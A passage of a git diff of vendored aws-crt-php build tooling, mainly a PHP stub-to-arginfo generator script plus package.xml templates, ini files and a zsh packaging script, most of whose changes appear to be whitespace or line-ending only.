+ $verify, + $args, + $return, + $numRequiredArgs, + $cond + ); +} + +function handlePreprocessorConditions(array &$conds, Stmt $stmt): ?string { + foreach ($stmt->getComments() as $comment) { + $text = trim($comment->getText()); + if (preg_match('/^#\s*if\s+(.+)$/', $text, $matches)) { + $conds[] = $matches[1]; + } else if (preg_match('/^#\s*ifdef\s+(.+)$/', $text, $matches)) { + $conds[] = "defined($matches[1])"; + } else if (preg_match('/^#\s*ifndef\s+(.+)$/', $text, $matches)) { + $conds[] = "!defined($matches[1])"; + } else if (preg_match('/^#\s*else$/', $text)) { + if (empty($conds)) { + throw new Exception("Encountered else without corresponding #if"); + } + $cond = array_pop($conds); + $conds[] = "!($cond)"; + } else if (preg_match('/^#\s*endif$/', $text)) { + if (empty($conds)) { + throw new Exception("Encountered #endif without corresponding #if"); + } + array_pop($conds); + } else if ($text[0] === '#') { + throw new Exception("Unrecognized preprocessor directive \"$text\""); + } + } + + return empty($conds) ? null : implode(' && ', $conds); +} + +function getFileDocComment(array $stmts): ?DocComment { + if (empty($stmts)) { + return null; + } + + $comments = $stmts[0]->getComments(); + if (empty($comments)) { + return null; + } + + if ($comments[0] instanceof DocComment) { + return $comments[0]; + } + + return null; +} + +function handleStatements(FileInfo $fileInfo, array $stmts, PrettyPrinterAbstract $prettyPrinter) { + $conds = []; + foreach ($stmts as $stmt) { + if ($stmt instanceof Stmt\Nop) { + continue; + } + + if ($stmt instanceof Stmt\Namespace_) { + handleStatements($fileInfo, $stmt->stmts, $prettyPrinter); + continue; + } + + $cond = handlePreprocessorConditions($conds, $stmt); + if ($stmt instanceof Stmt\Function_) { + $fileInfo->funcInfos[] = parseFunctionLike( + $prettyPrinter, + new FunctionName($stmt->namespacedName), + 0, + 0, + $stmt, + $cond + ); + continue; + } + + if ($stmt instanceof Stmt\ClassLike) { + $className = $stmt->namespacedName; + $methodInfos = []; + foreach ($stmt->stmts as $classStmt) { + $cond = handlePreprocessorConditions($conds, $classStmt); + if ($classStmt instanceof Stmt\Nop) { + continue; + } + + if (!$classStmt instanceof Stmt\ClassMethod) { + throw new Exception("Not implemented {$classStmt->getType()}"); + } + + $classFlags = 0; + if ($stmt instanceof Class_) { + $classFlags = $stmt->flags; + } + + $flags = $classStmt->flags; + if ($stmt instanceof Stmt\Interface_) { + $flags |= Class_::MODIFIER_ABSTRACT; + } + + if (!($flags & Class_::VISIBILITY_MODIFIER_MASK)) { + throw new Exception("Method visibility modifier is required"); + } + + $methodInfos[] = parseFunctionLike( + $prettyPrinter, + new MethodName($className, $classStmt->name->toString()), + $classFlags, + $flags, + $classStmt, + $cond + ); + } + + $fileInfo->classInfos[] = new ClassInfo($className, $methodInfos); + continue; + } + + throw new Exception("Unexpected node {$stmt->getType()}"); + } +} + +function parseStubFile(string $code): FileInfo { + $lexer = new PhpParser\Lexer(); + $parser = new PhpParser\Parser\Php7($lexer); + $nodeTraverser = new PhpParser\NodeTraverser; + $nodeTraverser->addVisitor(new PhpParser\NodeVisitor\NameResolver); + $prettyPrinter = new class extends Standard { + protected function pName_FullyQualified(Name\FullyQualified $node) { + return implode('\\', $node->parts); + } + }; + + $stmts = $parser->parse($code); + $nodeTraverser->traverse($stmts); + + $fileInfo = new FileInfo; + $fileDocComment = getFileDocComment($stmts); + if ($fileDocComment) { + $fileTags = parseDocComment($fileDocComment); + foreach ($fileTags as $tag) { + if ($tag->name === 'generate-function-entries') { + $fileInfo->generateFunctionEntries = true; + $fileInfo->declarationPrefix = $tag->value ? $tag->value . " " : ""; + } else if ($tag->name === 'generate-legacy-arginfo') { + $fileInfo->generateLegacyArginfo = true; + } + } + } + + handleStatements($fileInfo, $stmts, $prettyPrinter); + return $fileInfo; +} + +function funcInfoToCode(FuncInfo $funcInfo, bool $minimal): string { + $code = ''; + + // Generate the minimal, most compatible arginfo across PHP versions + if ($minimal) { + $code .= sprintf("ZEND_BEGIN_ARG_INFO_EX(%s, 0, %d, %d)\n", + $funcInfo->getArgInfoName(), + $funcInfo->return->byRef, + $funcInfo->numRequiredArgs); + foreach ($funcInfo->args as $argInfo) { + $code .= sprintf("\tZEND_ARG_INFO(0, %s)\n", $argInfo->name); + } + } else { + $returnType = $funcInfo->return->type; + if ($returnType !== null) { + if (null !== $simpleReturnType = $returnType->tryToSimpleType()) { + if ($simpleReturnType->isBuiltin) { + $code .= sprintf( + "AWS_PHP_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX(%s, %d, %d, %s, %d)\n", + $funcInfo->getArgInfoName(), $funcInfo->return->byRef, + $funcInfo->numRequiredArgs, + $simpleReturnType->toTypeCode(), $returnType->isNullable() + ); + } else { + $code .= sprintf( + "ZEND_BEGIN_ARG_WITH_RETURN_OBJ_INFO_EX(%s, %d, %d, %s, %d)\n", + $funcInfo->getArgInfoName(), $funcInfo->return->byRef, + $funcInfo->numRequiredArgs, + $simpleReturnType->toEscapedName(), $returnType->isNullable() + ); + } + } else { + $arginfoType = $returnType->toArginfoType(); + if ($arginfoType->hasClassType()) { + $code .= sprintf( + "ZEND_BEGIN_ARG_WITH_RETURN_OBJ_TYPE_MASK_EX(%s, %d, %d, %s, %s)\n", + $funcInfo->getArgInfoName(), $funcInfo->return->byRef, + $funcInfo->numRequiredArgs, + $arginfoType->toClassTypeString(), $arginfoType->toTypeMask() + ); + } else { + $code .= sprintf( + "ZEND_BEGIN_ARG_WITH_RETURN_TYPE_MASK_EX(%s, %d, %d, %s)\n", + $funcInfo->getArgInfoName(), $funcInfo->return->byRef, + $funcInfo->numRequiredArgs, + $arginfoType->toTypeMask() + ); + } + } + } else { + $code .= sprintf( + "ZEND_BEGIN_ARG_INFO_EX(%s, 0, %d, %d)\n", + $funcInfo->getArgInfoName(), $funcInfo->return->byRef, $funcInfo->numRequiredArgs + ); + } + + foreach ($funcInfo->args as $argInfo) { + $argKind = $argInfo->isVariadic ? "ARG_VARIADIC" : "ARG"; + $argDefaultKind = $argInfo->hasProperDefaultValue() ? "_WITH_DEFAULT_VALUE" : ""; + $argType = $argInfo->type; + if ($argType !== null) { + if (null !== $simpleArgType = $argType->tryToSimpleType()) { + if ($simpleArgType->isBuiltin) { + $code .= sprintf( + "\tZEND_%s_TYPE_INFO%s(%s, %s, %s, %d%s)\n", + $argKind, $argDefaultKind, $argInfo->getSendByString(), $argInfo->name, + $simpleArgType->toTypeCode(), $argType->isNullable(), + $argInfo->hasProperDefaultValue() ? ", " . $argInfo->getDefaultValueAsArginfoString() : "" + ); + } else { + $code .= sprintf( + "\tZEND_%s_OBJ_INFO%s(%s, %s, %s, %d%s)\n", + $argKind,$argDefaultKind, $argInfo->getSendByString(), $argInfo->name, + $simpleArgType->toEscapedName(), $argType->isNullable(), + $argInfo->hasProperDefaultValue() ? ", " . $argInfo->getDefaultValueAsArginfoString() : "" + ); + } + } else { + $arginfoType = $argType->toArginfoType(); + if ($arginfoType->hasClassType()) { + $code .= sprintf( + "\tZEND_%s_OBJ_TYPE_MASK(%s, %s, %s, %s, %s)\n", + $argKind, $argInfo->getSendByString(), $argInfo->name, + $arginfoType->toClassTypeString(), $arginfoType->toTypeMask(), + $argInfo->getDefaultValueAsArginfoString() + ); + } else { + $code .= sprintf( + "\tZEND_%s_TYPE_MASK(%s, %s, %s, %s)\n", + $argKind, $argInfo->getSendByString(), $argInfo->name, + $arginfoType->toTypeMask(), + $argInfo->getDefaultValueAsArginfoString() + ); + } + } + } else { + $code .= sprintf( + "\tZEND_%s_INFO%s(%s, %s%s)\n", + $argKind, $argDefaultKind, $argInfo->getSendByString(), $argInfo->name, + $argInfo->hasProperDefaultValue() ? ", " . $argInfo->getDefaultValueAsArginfoString() : "" + ); + } + } + } + + $code .= "ZEND_END_ARG_INFO()"; + return $code . "\n"; +} + +/** @param FuncInfo[] $generatedFuncInfos */ +function findEquivalentFuncInfo(array $generatedFuncInfos, FuncInfo $funcInfo): ?FuncInfo { + foreach ($generatedFuncInfos as $generatedFuncInfo) { + if ($generatedFuncInfo->equalsApartFromName($funcInfo)) { + return $generatedFuncInfo; + } + } + return null; +} + +/** @param iterable $funcInfos */ +function generateCodeWithConditions( + iterable $funcInfos, string $separator, Closure $codeGenerator): string { + $code = ""; + foreach ($funcInfos as $funcInfo) { + $funcCode = $codeGenerator($funcInfo); + if ($funcCode === null) { + continue; + } + + $code .= $separator; + if ($funcInfo->cond) { + $code .= "#if {$funcInfo->cond}\n"; + $code .= $funcCode; + $code .= "#endif\n"; + } else { + $code .= $funcCode; + } + } + return $code; +} + +function generateArgInfoCode(FileInfo $fileInfo, string $stubHash, bool $minimal): string { + $code = "/* This is a generated file, edit the .stub.php file instead.\n" + . " * Stub hash: $stubHash */\n"; + $generatedFuncInfos = []; + $code .= generateCodeWithConditions( + $fileInfo->getAllFuncInfos(), "\n", + function (FuncInfo $funcInfo) use(&$generatedFuncInfos, $minimal) { + /* If there already is an equivalent arginfo structure, only emit a #define */ + if ($generatedFuncInfo = findEquivalentFuncInfo($generatedFuncInfos, $funcInfo)) { + $code = sprintf( + "#define %s %s\n", + $funcInfo->getArgInfoName(), $generatedFuncInfo->getArgInfoName() + ); + } else { + $code = funcInfoToCode($funcInfo, $minimal); + } + + $generatedFuncInfos[] = $funcInfo; + return $code; + } + ); + + if ($fileInfo->generateFunctionEntries) { + $code .= "\n\n"; + + $generatedFunctionDeclarations = []; + $code .= generateCodeWithConditions( + $fileInfo->getAllFuncInfos(), "", + function (FuncInfo $funcInfo) use($fileInfo, &$generatedFunctionDeclarations) { + $key = $funcInfo->getDeclarationKey(); + if (isset($generatedFunctionDeclarations[$key])) { + return null; + } + + $generatedFunctionDeclarations[$key] = true; + return $fileInfo->declarationPrefix . $funcInfo->getDeclaration(); + } + ); + + if (!empty($fileInfo->funcInfos)) { + $code .= generateFunctionEntries(null, $fileInfo->funcInfos); + } + + foreach ($fileInfo->classInfos as $classInfo) { + $code .= generateFunctionEntries($classInfo->name, $classInfo->funcInfos); + } + } + + return $code; +} + +/** @param FuncInfo[] $funcInfos */ +function generateFunctionEntries(?Name $className, array $funcInfos): string { + $code = ""; + + $functionEntryName = "ext_functions"; + if ($className) { + $underscoreName = implode("_", $className->parts); + $functionEntryName = "class_{$underscoreName}_methods"; + } + + $code .= "\n\nstatic const zend_function_entry {$functionEntryName}[] = {\n"; + $code .= generateCodeWithConditions($funcInfos, "", function (FuncInfo $funcInfo) { + return $funcInfo->getFunctionEntry(); + }); + $code .= "\tZEND_FE_END\n"; + $code .= "};\n"; + + return $code; +} + +/** + * @param FuncInfo[] $funcMap + * @param FuncInfo[] $aliasMap + * @return array + */ +function generateMethodSynopses(array $funcMap, array $aliasMap): array { + $result = []; + + foreach ($funcMap as $funcInfo) { + $methodSynopsis = $funcInfo->getMethodSynopsisDocument($funcMap, $aliasMap); + if ($methodSynopsis !== null) { + $result[$funcInfo->name->getMethodSynopsisFilename() . ".xml"] = $methodSynopsis; + } + } + + return $result; +} + +/** + * @param FuncInfo[] $funcMap + * @param FuncInfo[] $aliasMap + * @return array + */ +function replaceMethodSynopses(string $targetDirectory, array $funcMap, array $aliasMap): array { + $methodSynopses = []; + + $it = new RecursiveIteratorIterator( + new RecursiveDirectoryIterator($targetDirectory), + RecursiveIteratorIterator::LEAVES_ONLY + ); + + foreach ($it as $file) { + $pathName = $file->getPathName(); + if (!preg_match('/\.xml$/i', $pathName)) { + continue; + } + + $xml = file_get_contents($pathName); + if ($xml === false) { + continue; + } + + if (stripos($xml, "formatOutput = false; + $doc->preserveWhiteSpace = true; + $doc->validateOnParse = true; + $success = $doc->loadXML($replacedXml); + if (!$success) { + echo "Failed opening $pathName\n"; + continue; + } + + $docComparator = new DOMDocument(); + $docComparator->preserveWhiteSpace = false; + $docComparator->formatOutput = true; + + $methodSynopsisElements = []; + foreach ($doc->getElementsByTagName("constructorsynopsis") as $element) { + $methodSynopsisElements[] = $element; + } + foreach ($doc->getElementsByTagName("destructorsynopsis") as $element) { + $methodSynopsisElements[] = $element; + } + foreach ($doc->getElementsByTagName("methodsynopsis") as $element) { + $methodSynopsisElements[] = $element; + } + + foreach ($methodSynopsisElements as $methodSynopsis) { + if (!$methodSynopsis instanceof DOMElement) { + continue; + } + + $list = $methodSynopsis->getElementsByTagName("methodname"); + $item = $list->item(0); + if (!$item instanceof DOMElement) { + continue; + } + $funcName = $item->textContent; + if (!isset($funcMap[$funcName])) { + continue; + } + $funcInfo = $funcMap[$funcName]; + + $newMethodSynopsis = $funcInfo->getMethodSynopsisElement($funcMap, $aliasMap, $doc); + if ($newMethodSynopsis === null) { + continue; + } + + // Retrieve current signature + + $params = []; + $list = $methodSynopsis->getElementsByTagName("methodparam"); + foreach ($list as $i => $item) { + if (!$item instanceof DOMElement) { + continue; + } + + $paramList = $item->getElementsByTagName("parameter"); + if ($paramList->count() !== 1) { + continue; + } + + $paramName = $paramList->item(0)->textContent; + $paramTypes = []; + + $paramList = $item->getElementsByTagName("type"); + foreach ($paramList as $type) { + if (!$type instanceof DOMElement) { + continue; + } + + $paramTypes[] = $type->textContent; + } + + $params[$paramName] = ["index" => $i, "type" => $paramTypes]; + } + + // Check if there is any change - short circuit if there is not any. + + $xml1 = $doc->saveXML($methodSynopsis); + $xml1 = preg_replace("/&([A-Za-z0-9._{}%-]+?;)/", "REPLACED-ENTITY-$1", $xml1); + $docComparator->loadXML($xml1); + $xml1 = $docComparator->saveXML(); + + $methodSynopsis->parentNode->replaceChild($newMethodSynopsis, $methodSynopsis); + + $xml2 = $doc->saveXML($newMethodSynopsis); + $xml2 = preg_replace("/&([A-Za-z0-9._{}%-]+?;)/", "REPLACED-ENTITY-$1", $xml2); + $docComparator->loadXML($xml2); + $xml2 = $docComparator->saveXML(); + + if ($xml1 === $xml2) { + continue; + } + + // Update parameter references + + $paramList = $doc->getElementsByTagName("parameter"); + /** @var DOMElement $paramElement */ + foreach ($paramList as $paramElement) { + if ($paramElement->parentNode && $paramElement->parentNode->nodeName === "methodparam") { + continue; + } + + $name = $paramElement->textContent; + if (!isset($params[$name])) { + continue; + } + + $index = $params[$name]["index"]; + if (!isset($funcInfo->args[$index])) { + continue; + } + + $paramElement->textContent = $funcInfo->args[$index]->name; + } + + // Return the updated XML + + $replacedXml = $doc->saveXML(); + + $replacedXml = preg_replace( + [ + "/REPLACED-ENTITY-([A-Za-z0-9._{}%-]+?;)/", + "//i", + "//i", + ], + [ + "&$1", + "", + "", + ], + $replacedXml + ); + + $methodSynopses[$pathName] = $replacedXml; + } + } + + return $methodSynopses; +} + +function installPhpParser(string $version, string $phpParserDir) { + $lockFile = __DIR__ . "/PHP-Parser-install-lock"; + $lockFd = fopen($lockFile, 'w+'); + if (!flock($lockFd, LOCK_EX)) { + throw new Exception("Failed to acquire installation lock"); + } + + try { + // Check whether a parallel process has already installed PHP-Parser. + if (is_dir($phpParserDir)) { + return; + } + + $cwd = getcwd(); + chdir(__DIR__); + + $tarName = "v$version.tar.gz"; + passthru("wget https://github.com/nikic/PHP-Parser/archive/$tarName", $exit); + if ($exit !== 0) { + passthru("curl -LO https://github.com/nikic/PHP-Parser/archive/$tarName", $exit); + } + if ($exit !== 0) { + throw new Exception("Failed to download PHP-Parser tarball"); + } + if (!mkdir($phpParserDir)) { + throw new Exception("Failed to create directory $phpParserDir"); + } + passthru("tar xvzf $tarName -C PHP-Parser-$version --strip-components 1", $exit); + if ($exit !== 0) { + throw new Exception("Failed to extract PHP-Parser tarball"); + } + unlink(__DIR__ . "/$tarName"); + chdir($cwd); + } finally { + flock($lockFd, LOCK_UN); + @unlink($lockFile); + } +} + +function initPhpParser() { + static $isInitialized = false; + if ($isInitialized) { + return; + } + + if (!extension_loaded("tokenizer")) { + throw new Exception("The \"tokenizer\" extension is not available"); + } + + $isInitialized = true; + $version = "4.9.0"; + $phpParserDir = __DIR__ . "/PHP-Parser-$version"; + if (!is_dir($phpParserDir)) { + installPhpParser($version, $phpParserDir); + } + + spl_autoload_register(function(string $class) use($phpParserDir) { + if (strpos($class, "PhpParser\\") === 0) { + $fileName = $phpParserDir . "/lib/" . str_replace("\\", "/", $class) . ".php"; + require $fileName; + } + }); +} + +$optind = null; +$options = getopt("fh", [ + "force-regeneration", + "parameter-stats", + "help", + "verify", + "generate-methodsynopses", + "replace-methodsynopses", + "minimal-arginfo"], $optind); + +$context = new Context; +$printParameterStats = isset($options["parameter-stats"]); +$verify = isset($options["verify"]); +$generateMethodSynopses = isset($options["generate-methodsynopses"]); +$replaceMethodSynopses = isset($options["replace-methodsynopses"]); +$context->forceRegeneration = isset($options["f"]) || isset($options["force-regeneration"]); +$context->forceParse = $context->forceRegeneration || $printParameterStats || $verify || $generateMethodSynopses || $replaceMethodSynopses; +$context->minimalArgInfo = isset($options["minimal-arginfo"]); +$targetMethodSynopses = $argv[$optind + 1] ?? null; +if ($replaceMethodSynopses && $targetMethodSynopses === null) { + die("A target directory must be provided.\n"); +} + +if (isset($options["h"]) || isset($options["help"])) { + die("\nusage: gen-stub.php [ -f | --force-regeneration ] [ --generate-methodsynopses ] [ --replace-methodsynopses ] [ --parameter-stats ] [ --verify ] [ -h | --help ] [ name.stub.php | directory ] [ directory ]\n\n"); +} + +$fileInfos = []; +$location = $argv[$optind] ?? "."; +if (is_file($location)) { + // Generate single file. + $fileInfo = processStubFile($location, $context); + if ($fileInfo) { + $fileInfos[] = $fileInfo; + } +} else if (is_dir($location)) { + $fileInfos = processDirectory($location, $context); +} else { + echo "$location is neither a file nor a directory.\n"; + exit(1); +} + +if ($printParameterStats) { + $parameterStats = []; + + foreach ($fileInfos as $fileInfo) { + foreach ($fileInfo->getAllFuncInfos() as $funcInfo) { + foreach ($funcInfo->args as $argInfo) { + if (!isset($parameterStats[$argInfo->name])) { + $parameterStats[$argInfo->name] = 0; + } + $parameterStats[$argInfo->name]++; + } + } + } + + arsort($parameterStats); + echo json_encode($parameterStats, JSON_PRETTY_PRINT), "\n"; +} + +/** @var FuncInfo[] $funcMap */ +$funcMap = []; +/** @var FuncInfo[] $aliasMap */ +$aliasMap = []; + +foreach ($fileInfos as $fileInfo) { + foreach ($fileInfo->getAllFuncInfos() as $funcInfo) { + /** @var FuncInfo $funcInfo */ + $funcMap[$funcInfo->name->__toString()] = $funcInfo; + + if ($funcInfo->aliasType === "alias") { + $aliasMap[$funcInfo->alias->__toString()] = $funcInfo; + } + } +} + +if ($verify) { + $errors = []; + + foreach ($aliasMap as $aliasFunc) { + if (!isset($funcMap[$aliasFunc->alias->__toString()])) { + $errors[] = "Aliased function {$aliasFunc->alias}() cannot be found"; + continue; + } + + if (!$aliasFunc->verify) { + continue; + } + + $aliasedFunc = $funcMap[$aliasFunc->alias->__toString()]; + $aliasedArgs = $aliasedFunc->args; + $aliasArgs = $aliasFunc->args; + + if ($aliasFunc->isInstanceMethod() !== $aliasedFunc->isInstanceMethod()) { + if ($aliasFunc->isInstanceMethod()) { + $aliasedArgs = array_slice($aliasedArgs, 1); + } + + if ($aliasedFunc->isInstanceMethod()) { + $aliasArgs = array_slice($aliasArgs, 1); + } + } + + array_map( + function(?ArgInfo $aliasArg, ?ArgInfo $aliasedArg) use ($aliasFunc, $aliasedFunc, &$errors) { + if ($aliasArg === null) { + assert($aliasedArg !== null); + $errors[] = "{$aliasFunc->name}(): Argument \$$aliasedArg->name of aliased function {$aliasedFunc->name}() is missing"; + return null; + } + + if ($aliasedArg === null) { + $errors[] = "{$aliasedFunc->name}(): Argument \$$aliasArg->name of alias function {$aliasFunc->name}() is missing"; + return null; + } + + if ($aliasArg->name !== $aliasedArg->name) { + $errors[] = "{$aliasFunc->name}(): Argument \$$aliasArg->name and argument \$$aliasedArg->name of aliased function {$aliasedFunc->name}() must have the same name"; + return null; + } + + if ($aliasArg->type != $aliasedArg->type) { + $errors[] = "{$aliasFunc->name}(): Argument \$$aliasArg->name and argument \$$aliasedArg->name of aliased function {$aliasedFunc->name}() must have the same type"; + } + + if ($aliasArg->defaultValue !== $aliasedArg->defaultValue) { + $errors[] = "{$aliasFunc->name}(): Argument \$$aliasArg->name and argument \$$aliasedArg->name of aliased function {$aliasedFunc->name}() must have the same default value"; + } + }, + $aliasArgs, $aliasedArgs + ); + + if ((!$aliasedFunc->isMethod() || $aliasedFunc->isFinalMethod()) && + (!$aliasFunc->isMethod() || $aliasFunc->isFinalMethod()) && + $aliasFunc->return != $aliasedFunc->return + ) { + $errors[] = "{$aliasFunc->name}() and {$aliasedFunc->name}() must have the same return type"; + } + } + + echo implode("\n", $errors); + if (!empty($errors)) { + echo "\n"; + exit(1); + } +} + +if ($generateMethodSynopses) { + $methodSynopsesDirectory = getcwd() . "/methodsynopses"; + + $methodSynopses = generateMethodSynopses($funcMap, $aliasMap); + if (!empty($methodSynopses)) { + if (!file_exists($methodSynopsesDirectory)) { + mkdir($methodSynopsesDirectory); + } + + foreach ($methodSynopses as $filename => $content) { + if (file_put_contents("$methodSynopsesDirectory/$filename", $content)) { + echo "Saved $filename\n"; + } + } + } +} + +if ($replaceMethodSynopses) { + $methodSynopses = replaceMethodSynopses($targetMethodSynopses, $funcMap, $aliasMap); + + foreach ($methodSynopses as $filename => $content) { + if (file_put_contents($filename, $content)) { + echo "Saved $filename\n"; + } + } +} diff --git a/vendor/aws/aws-crt-php/package.xml-template_post b/vendor/aws/aws-crt-php/package.xml-template_post index c452d1decd..2506f9d714 100644 --- a/vendor/aws/aws-crt-php/package.xml-template_post +++ b/vendor/aws/aws-crt-php/package.xml-template_post @@ -1,19 +1,19 @@ - - - - - 7.4.0 - - - 1.10.0 - - - -awscrt - - - - - - - + + + + + 7.4.0 + + + 1.10.0 + + + +awscrt + + + + + + + diff --git a/vendor/aws/aws-crt-php/package.xml-template_pre b/vendor/aws/aws-crt-php/package.xml-template_pre index b0044572c7..53c7d5b347 100644 --- a/vendor/aws/aws-crt-php/package.xml-template_pre +++ b/vendor/aws/aws-crt-php/package.xml-template_pre @@ -1,24 +1,24 @@ - - - awscrt - pecl.php.net - AWS Common Runtime PHP bindings - AWS Common Runtime provides a set of low level tools as network protocols and authentication used by the AWSSDK for PHP to provide high level API to access AWS services. - - {{{NAME}}} - {{{USER}}} - {{{EMAIL}}} - yes - - {{{TODAY}}} - - {{{VERSION}}} - 1.0.0 - - - devel - stable - - Apache License Version 2.0 - {{{NOTES}}} - + + + awscrt + pecl.php.net + AWS Common Runtime PHP bindings + AWS Common Runtime provides a set of low level tools as network protocols and authentication used by the AWSSDK for PHP to provide high level API to access AWS services. + + {{{NAME}}} + {{{USER}}} + {{{EMAIL}}} + yes + + {{{TODAY}}} + + {{{VERSION}}} + 1.0.0 + + + devel + stable + + Apache License Version 2.0 + {{{NOTES}}} + diff --git a/vendor/aws/aws-crt-php/php-win.ini b/vendor/aws/aws-crt-php/php-win.ini index 209d204e8e..c6d7db8e29 100644 --- a/vendor/aws/aws-crt-php/php-win.ini +++ b/vendor/aws/aws-crt-php/php-win.ini @@ -1,2 +1,2 @@ -extension=php_awscrt.dll -extension=php_openssl.dll +extension=php_awscrt.dll +extension=php_openssl.dll diff --git a/vendor/aws/aws-crt-php/php.ini b/vendor/aws/aws-crt-php/php.ini index 684be81e58..a305c768d7 100644 --- a/vendor/aws/aws-crt-php/php.ini +++ b/vendor/aws/aws-crt-php/php.ini @@ -1 +1 @@ -extension=modules/awscrt.so +extension=modules/awscrt.so diff --git a/vendor/aws/aws-crt-php/prepare_package_xml.sh b/vendor/aws/aws-crt-php/prepare_package_xml.sh index 71f2def121..9e77582289 100644 --- a/vendor/aws/aws-crt-php/prepare_package_xml.sh +++ b/vendor/aws/aws-crt-php/prepare_package_xml.sh @@ -1,144 +1,144 @@ -#!/bin/zsh -zparseopts -A opts -name: -user: -email: -version: -notes: -if [[ $# -lt 10 ]] -then - echo "Usage ${0} --name NAME, --user USER --email EMAIL --version VERSION --notes NOTES" - exit 1 -fi -NAME="${opts[--name]}" -USER="${opts[--user]}" -EMAIL="${opts[--email]}" -VERSION="${opts[--version]}" -NOTES="${opts[--notes]}" - -TODAY=$(date -u +%Y-%m-%d) - -cat package.xml-template_pre \ - | sed "s/{{{NAME}}}/$NAME/g" \ - | sed "s/{{{USER}}}/$USER/g" \ - | sed "s/{{{EMAIL}}}/$EMAIL/g" \ - | sed "s/{{{TODAY}}}/$TODAY/g" \ - | sed "s/{{{VERSION}}}/$VERSION/g" \ - | sed "s/{{{NOTES}}}/$NOTES/g" - -source_ext='(c|cc|h|cpp|hpp|m4|w32|ini|frag|cmake|inl|in|py|gnu|yaml|def|pl|S|s|errordata|go|lds|num|asm|mod|peg|mk|rs|toml|sh)' -doc_ext='(md|json|html|dot|graphml|png|gn|sha1|css|rst|)' - -special_docs='(LICENSE*|NOTICE|changelog.txt|CHANGELOG|THIRD-PARTY|README*|readme|METADATA|CONTRIBUTORS|UPDATING|doc.config)' -special_tests='(ci-test.sh|format-check.sh|run_tests*|sanitizer-blacklist.txt|run-clang-tidy.sh|benchmark-build-run.sh|break-tests.sh|generate-coverage.sh|test.xml)' -special_src='(gen_api.php|gen_stub.php|CMakeLists.txt|post.sh|postun.sh|Makefile*|build-buildspec.sh|build-deps.sh|objects.txt|go.*|BUILD*|DEPS|install_and_run.sh|codemod.sh|requirements.txt)' -skip_files='(package.xml*|prepare_release.sh|codereview.settings|*.o|*.a|*.obj|*.lib|break-tests-android.sh|whitespace.txt|prepare_package_xml.sh|crypto_test_data.cc|*.pdf|*.svg|*.docx|cbmc-proof.txt|codecov*|litani*|*.toml)' - -special_scripts='(awscrt.stub.php)' - -skip_directories='(tests|test|AWSCRTAndroidTestRunner|docker-images|codebuild|fuzz|verfication|third_party|docs|generated-src|aws-lc|aws-crt-sys)' - -process_file() { - if (( $# == 0 )) - then - echo "ERROR: filename not passed" - exit 1 - fi - if [[ $1 = $~skip_files ]] - then - # This file is not part of the release bundle - return 0 - fi - - echo -n '' - return 0 -} - - -process_dir() { - if (( $# == 0 )) - then - echo "WARNING: dirname not passed" - exit 1 - fi - if [[ "${1}" = $~skip_directories ]] - then - return 0 - fi - echo '' - cd "$1" - for a in * - do - if [[ -f ${a} ]] - then process_file "${a}" - else process_dir "${a}" - fi - done - # Special cases for compiler features placed in tests directories in and s2n - if [[ "${1}" = "s2n" && -d tests ]] - then - echo '' - echo '' - cd tests/features - for a in * - do - process_file "${a}" - done - cd ../.. - echo '' - echo '' - fi - echo '' - cd .. - return 0 -} - -echo '' -for a in * -do - if [[ ${a} == 'tests' ]] - then - echo '' - for b in tests/* - do - echo '' - done - echo '' - continue - fi - if [[ -f ${a} ]] - then process_file "${a}" - else process_dir "${a}" - fi -done -echo '' - -cat package.xml-template_post - +#!/bin/zsh +zparseopts -A opts -name: -user: -email: -version: -notes: +if [[ $# -lt 10 ]] +then + echo "Usage ${0} --name NAME, --user USER --email EMAIL --version VERSION --notes NOTES" + exit 1 +fi +NAME="${opts[--name]}" +USER="${opts[--user]}" +EMAIL="${opts[--email]}" +VERSION="${opts[--version]}" +NOTES="${opts[--notes]}" + +TODAY=$(date -u +%Y-%m-%d) + +cat package.xml-template_pre \ + | sed "s/{{{NAME}}}/$NAME/g" \ + | sed "s/{{{USER}}}/$USER/g" \ + | sed "s/{{{EMAIL}}}/$EMAIL/g" \ + | sed "s/{{{TODAY}}}/$TODAY/g" \ + | sed "s/{{{VERSION}}}/$VERSION/g" \ + | sed "s/{{{NOTES}}}/$NOTES/g" + +source_ext='(c|cc|h|cpp|hpp|m4|w32|ini|frag|cmake|inl|in|py|gnu|yaml|def|pl|S|s|errordata|go|lds|num|asm|mod|peg|mk|rs|toml|sh)' +doc_ext='(md|json|html|dot|graphml|png|gn|sha1|css|rst|)' + +special_docs='(LICENSE*|NOTICE|changelog.txt|CHANGELOG|THIRD-PARTY|README*|readme|METADATA|CONTRIBUTORS|UPDATING|doc.config)' +special_tests='(ci-test.sh|format-check.sh|run_tests*|sanitizer-blacklist.txt|run-clang-tidy.sh|benchmark-build-run.sh|break-tests.sh|generate-coverage.sh|test.xml)' +special_src='(gen_api.php|gen_stub.php|CMakeLists.txt|post.sh|postun.sh|Makefile*|build-buildspec.sh|build-deps.sh|objects.txt|go.*|BUILD*|DEPS|install_and_run.sh|codemod.sh|requirements.txt)' +skip_files='(package.xml*|prepare_release.sh|codereview.settings|*.o|*.a|*.obj|*.lib|break-tests-android.sh|whitespace.txt|prepare_package_xml.sh|crypto_test_data.cc|*.pdf|*.svg|*.docx|cbmc-proof.txt|codecov*|litani*|*.toml)' + +special_scripts='(awscrt.stub.php)' + +skip_directories='(tests|test|AWSCRTAndroidTestRunner|docker-images|codebuild|fuzz|verfication|third_party|docs|generated-src|aws-lc|aws-crt-sys)' + +process_file() { + if (( $# == 0 )) + then + echo "ERROR: filename not passed" + exit 1 + fi + if [[ $1 = $~skip_files ]] + then + # This file is not part of the release bundle + return 0 + fi + + echo -n '' + return 0 +} + + +process_dir() { + if (( $# == 0 )) + then + echo "WARNING: dirname not passed" + exit 1 + fi + if [[ "${1}" = $~skip_directories ]] + then + return 0 + fi + echo '' + cd "$1" + for a in * + do + if [[ -f ${a} ]] + then process_file "${a}" + else process_dir "${a}" + fi + done + # Special cases for compiler features placed in tests directories in and s2n + if [[ "${1}" = "s2n" && -d tests ]] + then + echo '' + echo '' + cd tests/features + for a in * + do + process_file "${a}" + done + cd ../.. + echo '' + echo '' + fi + echo '' + cd .. + return 0 +} + +echo '' +for a in * +do + if [[ ${a} == 'tests' ]] + then + echo '' + for b in tests/* + do + echo '' + done + echo '' + continue + fi + if [[ -f ${a} ]] + then process_file "${a}" + else process_dir "${a}" + fi +done +echo '' + +cat package.xml-template_post + diff --git a/vendor/aws/aws-crt-php/prepare_release.sh b/vendor/aws/aws-crt-php/prepare_release.sh index 32274a7a7b..3a9c5f47a4 100644 --- 